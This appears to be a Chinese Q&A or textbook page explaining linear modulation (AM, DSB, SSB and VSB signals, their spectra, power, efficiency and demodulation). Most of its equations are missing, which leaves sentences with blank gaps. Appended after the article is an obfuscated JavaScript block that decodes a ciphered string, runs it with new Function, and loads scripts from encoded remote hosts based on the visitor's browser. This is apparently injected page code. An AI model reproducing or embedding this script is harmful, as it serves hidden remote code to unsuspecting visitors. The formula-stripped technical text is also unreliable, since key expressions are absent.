主要包括对线性调制的介绍,主要的线性调制系统都包括哪些方法
推荐回答(1个)
如果输出已调信号的频谱和输入调制信号的频谱之间满足线性搬移关系,则称为线性调制,通常也称为幅度调制。线性调制的主要特征是调制前后的信号频谱从形状上看没有发生根本变化,仅仅是频谱的幅度和位置发生了变化。在线性调制中,余弦载波的幅度参数随输入基带信号的变化而变化。线性调制具体有振幅调制(AM)、双边带调制(DSB)、单边带调制(SSB)及残留边带调制(VSB)四种。在具体介绍这四种线性调制以前,我们首先介绍一下线性调制的一般原理。
3.2.1
线性调制一般原理
线性调制是用调制信号去控制载波的振幅,使其按调制信号的规律而变化的过程。幅度调制器的模型如图3-2所示。
设调制信号的频谱为,滤波器传输特性为,其冲激响应为,输出已调信号的时域和频域表达式为
式中,为载波角频率,。
由以上表示式可见,对于幅度调制信号,在波形上,它的幅度随基带信号而变化;在频谱结构上,它的频谱完全是基带信号频谱在频域内的简单搬移。由于这种搬移是线性的,因此幅度调制常称为线性调制。
在图3-2中的一般模型中,适当选择滤波器的特性,便可得到各种幅度调制信号。例如AM、DSB、SSB及VSB等。
3.2.2
振幅调制
AM信号产生的原理图如图3-3所示。
AM信号调制器由加法器、乘法器和带通滤波器(BPF)组成。图中带通滤波器的作用是让处在该频带范围内的调幅信号顺利通过,同时抑制带外噪声和各次谐波分量进入下级系统。
1.AM信号时域表达式及时域波形图
AM信号时域表达式为
式中为外加的直流分量;为输入调制信号,它的最高频率为,无直流分量;为载波的频率。为了实现线性调幅,必须要求
否则将会出现过调幅现象,在接收端采用包络检波法解调时,会产生严重的失真。如调制信号为单频信号时,常定义为调幅指数。
AM信号的波形如图3-4所示,图中认为调制信号是单频正弦信号,可以清楚地看出AM信号的包络完全反映了调制信号的变化规律。
2.AM信号频域表达式及频域波形图
对式(3.2-3)进行傅里叶变换,就可以得到AM信号的频域表达式如下:
式中,是调制信号的频谱。AM信号的频谱图如图3-5所示。
通过AM信号的频谱图可以得出以下结论:
(1)调制前后信号的频谱形状没有变化,仅仅是信号频谱的位置发生了变化。
(2)AM信号的频谱由位于处的冲激函数和分布在处两边的边带频谱组成。
(3)调制前基带信号的频带宽度为,调制后AM信号的频带宽度变为
一般我们把频率的绝对值大于载波频率的信号频谱称为上边带(USB),如图3-5中阴影所示,把频率的绝对值小于载波频率的信号频谱称为下边带(LSB)。
3.AM信号平均功率
AM信号在1Ω电阻上的平均功率等于的均方值。
通常假设调制信号没有直流分量,即,因此
式中为载波功率,为边带功率。
由此可见,AM信号的总功率包括载波功率和边带功率两部分。其中只有边带功率才与调制信号有关,也就是说,载波分量不携带信息。
4.AM信号调制效率
通常把边带功率与信号的总功率的比值称为调制效率,用符号表示。
在不出现过调幅的情况下,时,如果为常数,则最大可以得到;如果为正弦波时,可以得到。一般情况下,不一定都能达到1,因此是比较低的,这是振幅调制的最大缺点。
5.AM信号的解调
AM信号的解调一般有两种方法,一种是相干解调法,也叫同步解调法;另一种是非相干解调法,也叫包络检波法。由于包络检波法电路很简单,而且又不需要本地提供同步载波,因此,对AM信号的解调大都采用包络检波法。
(1)相干解调法
用相干解调法接收AM信号的原理方框如图3-6所示。
相干解调法一般由带通滤波器(BPF)、乘法器、低通滤波器(LPF)组成。相干解调法的工作原理是:AM信号经信道传输后,必定叠加有噪声,进入BPF后,BPF一方面使AM信号顺利通过,另一方面,抑制带外噪声。AM信号通过BPF后与本地载波相乘,进入LPF。LPF的截止频率设定为(也可以为),它不允许频率大于截止频率的成分通过,因此LPF的输出仅为需要的信号。图中各点信号表达式分别如下:
式中,常数为直流成分,可以方便地用一个隔直电容除去。
相干解调中的本地载波是通过对接收到的AM信号进行同步载波提取而获得的。本地载波必须与发送端的载波保持严格的同频同相。如何进行同步载波提取将在第7章中介绍。
相干解调法的优点是接收性能好,但要求在接收端提供一个与发送端同频同相的载波。
(2)非相干解调法
AM信号非相干解调法的原理框图如图3-7所示,它由BPF、线性包络检波器(linear
envelope
detector,简称LED)和LPF组成。图中BPF的作用与相干解调法中的BPF作用完全相同;LED把AM信号的包络直接提取出来,即把一个高频信号直接变成低频信号;LPF起平滑作用。
包络检波法的优点是实现简单、成本低、不需要同步载波,但系统抗噪声性能较差(存在门限效应)。
AM信号的调制效率低,主要原因是AM信号中有一个载波,它消耗了大部分发射功率。下面介绍抑制载波双边带调制系统。
3.2.3
抑制载波双边带调制
DSB-SC信号产生的原理图如图3-8所示,DSB信号调制器由乘法器和BPF组成。图中BPF的中心频率应在处,频带宽度应为。
1.DSB信号时域表达式及时域波形图
DSB信号的时域表达式为
DSB信号的时域波形如图3-9所示,DSB信号与AM信号波形的区别是,DSB信号在调制信号极性变化时会出现反向点。
2.DSB信号频域表达式及频域波形图
对式(3.2-10)进行傅里叶变换,可以得到DSB信号的频域表达式
DSB信号频谱图如图3-10所示。由图可知,DSB信号的频谱是由位于载频处两边的边带(上边带和下边带)组成。
DSB与AM信号的频谱区别是,在载频处没有冲激函数。DSB信号的频带宽度为:
3.DSB信号平均功率
DSB信号的平均功率可以用下式计算:
DSB信号的平均功率只有边带功率,没有载波功率,因此DSB调制效率为
4.DSB信号的解调
DSB信号的解调只能采用相干解调法,这是因为包络检波器取出的信号严重失真。相干解调法接收DSB信号的原理图与AM信号相干接收法原理图一样,见图3-6。但此时解调器的输入信号是DSB信号,而不再是AM信号。
DSB调制效率虽然达到了100%,但DSB调制信号的频谱由上、下两个边带组成,而且上、下边带携带的信息完全一样,因此,只需选择其中一个边带传输即可。如果只传输一个边带,则可以节省一半的发射功率。
3.2.4
单边带调制
单边带是指在传输信号的过程中,只传输上边带或下边带,达到节省发射功率和系统频带的目的。
1.SSB信号的滤波法产生
产生SSB信号最直观的方法是让双边带信号通过一个边带滤波器,保留所需要的一个边带,滤除不要的边带。原理框图如图3-11所示。其中是单边带滤波器,其传输特性如图3-12所示。
2.SSB信号的频域表达式及频谱图
由SSB信号的滤波产生法可得到SSB信号的频域表达式如下:
对上边带调制来讲
对下边带调制来讲
由SSB信号的频域表达式可得SSB信号的频谱图如图3-13所示。
3.SSB信号的时域表达式及其波形
直接得到一般信号的SSB表达式是比较困难的。我们可以先求得单频正弦信号的SSB调制信号,然后把一般信号表示成许多正弦信号之和,将所有正弦信号的单边带调制信号相加就是一般信号的单边带调制信号,用此方法就可以求得一般信号的SSB信号时域表达式。单频正弦信号的单边带信号时域波形图如图3-14所示,在此只画出单频信号上边带调制后的信号波形图。
设单频信号,其单边带调制信号的时域表达式为
式中,上面的符号表示传输上边带信号,下面的符号表示传输下边带信号。进一步可以得到一般信号的单边带调制信号的时域表达式为:
式中是将中所有频率成分均相移后得到的结果。实际上是调制信号通过一个宽带滤波器的输出,这个宽带滤波器叫做希尔伯特滤波器,也就是是的希尔伯特变换。关于希尔伯特变换的相关知识参阅其他文献资料。
4.SSB信号的相移法产生
根据SSB信号的时域表达式(3.2-20),可以构成相移法产生单边带信号的原理方框图,如图3-15所示,它由希尔伯特滤波器、乘法器、合路器组成。
单边带滤波器由于其陡峭特性,实际设计中难以实现,而相移法产生单边带信号,可以不用边带滤波器,因此,可以避免滤波法带来的缺点。其缺点是宽带移相网络比较难实现。
5.SSB信号平均功率和频带宽度
由以上分析可知,单边带信号产生的工作过程是将双边带调制中的一个边带完全抑制掉,所以它的发送功率和传输带宽都应该是双边带调制时的一半,即单边带发送功率为
频带宽度为
6.SSB信号的接收
因为SSB信号的包络没有直接反映出基带调制信号的波形,所以单边带信号的解调只能用相干解调法。相干解调法原理框图与DSB的相干解调法一样,只是现在接收到的是SSB信号,而不再是DSB信号。
【例3-1】已知调制信号,载波为,分别写出AM、DSB、USB、LSB信号的表示式,并画出频谱图。
解:AM信号为
DSB信号为
USB信号为
LSB信号为
其频谱图分别如图3-18中的(a)、(b)、(c)、(d)所示。
3.2.5
残留边带调制
残留边带调制是介于SSB与DSB之间的一种调制方式,它既克服了DSB信号占用频带宽的缺点,又解决了SSB滤波器难以实现的问题。
1.VSB调制与解调原理
残留边带信号调制与解调的方框图如图3-16所示。VSB信号的调制器与双边带、单边带调制器一样,不同的只是乘法器后面的滤波器。如后面接双边带滤波器,则得到双边带输出信号;接单边带滤波器,则得到单边带输出信号;接残留边带滤波器,则得到残留边带输出信号。
双边带、单边带滤波器的传输特性前面已经给定,而残留边带滤波器的传输特性如图3-17所示。
图中可以看到,残留边带滤波器的特性是让一个边带的绝大部分顺利通过,仅衰减靠近附近的一小部分信号,同时抑制另一个边带的绝大部分信号,只保留靠近附近的一小部分信号。
残留边带这种残留一个边带的一部分信号,又衰减另一个边带的一小部分信号的特性,会不会出现信号的失真呢?下面通过残留边带信号的解调过程来说明这个问题。
残留边带信号的解调也采用相干解调法,解调原理与DSB、SSB信号解调法相同。
2.VSB滤波器传输特性
设残留边带滤波器的传输特性为,则残留边带信号的频谱为:
在接收端解调残留边带信号时,将VSB信号和本地载波信号相乘,它的频谱为
经过LPF后,滤除上式中的二次谐波部分,得到的输出信号频谱为:
因此只要
则
这就是要恢复的基带信号的频谱。上式表明,如果在解调中,式(3.2-27)成立,那么解调后的输出信号是不会失真的。式(3.2-27)就是残留边带滤波器的传输特性,它具有互补对称特性。
3.VSB信号发送功率和频带宽度
VSB信号的功率值和频带宽度介于单边带和双边带信号功率与频带宽度之间。
!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();